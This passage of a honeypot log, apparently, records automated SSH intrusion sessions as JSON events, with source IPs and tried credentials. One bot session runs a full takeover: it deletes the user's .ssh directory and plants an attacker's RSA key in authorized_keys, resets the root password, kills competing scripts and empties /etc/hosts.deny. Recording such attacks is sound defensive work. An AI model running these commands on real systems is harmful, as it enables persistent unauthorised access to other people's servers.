28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:15:35.285343+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:15:35.781831+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:15:36.110488+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:15:36.414558+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:15:36.741242+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:15:37.104191+00:00","kind":"output","latency_ms":null,"data":"sklep"},{"seq":29,"at":"2026-08-27T12:15:37.431230+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:15:38.618380+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:15:38.946043+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:15:40.433898+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"sklep","password":"sklep","method":"password","accepted":true,"tier":"other"}]} {"id":"4ce08521-74d7-484d-bd2b-50f1e132ad39","name":"languid-dusky-flamingo","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":34528,"username":"ftproot","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":261,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:15:30.385373+00:00","ended_at":"2026-08-27T12:15:31.284296+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2307,"events":[{"seq":1,"at":"2026-08-27T12:15:13.466742+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:15:13.725497+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:15:17.697624+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:15:18.400873+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:15:18.661213+00:00","kind":"input","latency_ms":null,"data":"echo \"root:qjkDcvzuN57B\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:15:18.920803+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:15:19.180250+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:15:19.581142+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:15:19.842886+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:15:20.897197+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:15:21.161499+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:15:22.420354+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:15:22.686024+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:15:23.501870+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:15:23.763520+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:15:24.270434+00:00","kind":"output","latency_ms":null,"data":" 12:15:24 up 7 days, 9:05, 0 user, load average: 0.03, 0.03, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:15:24.531473+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:15:25.277064+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:15:25.538927+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:15:25.938669+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:15:26.199065+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:15:26.785694+00:00","kind":"output","latency_ms":null,"data":"top - 12:15:26 up 7 days, 9:05, 0 user, load average: 0.03, 0.03, 0.02\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:15:27.048857+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:15:27.475278+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:15:27.736196+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:15:28.100149+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:15:28.359591+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:15:28.949222+00:00","kind":"output","latency_ms":null,"data":"ftproot"},{"seq":29,"at":"2026-08-27T12:15:29.209562+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:15:30.126068+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:15:30.386122+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:15:31.209428+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ftproot","password":"ftproot123","method":"password","accepted":true,"tier":"other"}]} {"id":"cc63b7a8-7d0d-4d94-9f1e-e74d6fa1408b","name":"faded-nimble-dunlin","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":59546,"username":"dev","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:15:28.220667+00:00","ended_at":"2026-08-27T12:15:29.800059+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"dev","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"6de322b9-0ff9-46da-903c-12ea7c21f16b","name":"wry-stoic-merlin","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":59542,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:15:26.255477+00:00","ended_at":"2026-08-27T12:15:27.317010+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"632586ea-1ecd-47e6-ba8b-17196908bbcf","name":"mindful-craggy-martin","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":37348,"username":"sklep","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:15:24.393971+00:00","ended_at":"2026-08-27T12:15:25.858356+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"sklep","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"58e3a3fd-ebbd-47a5-aa35-506d68572dc3","name":"courtly-downy-shelduck","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":37338,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:15:21.928506+00:00","ended_at":"2026-08-27T12:15:23.740770+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"c6719c1f-f941-4205-93f1-36950bcf85da","name":"vernal-oaken-warbler","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":41666,"username":"ftproot","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:15:16.537435+00:00","ended_at":"2026-08-27T12:15:17.624575+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ftproot","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}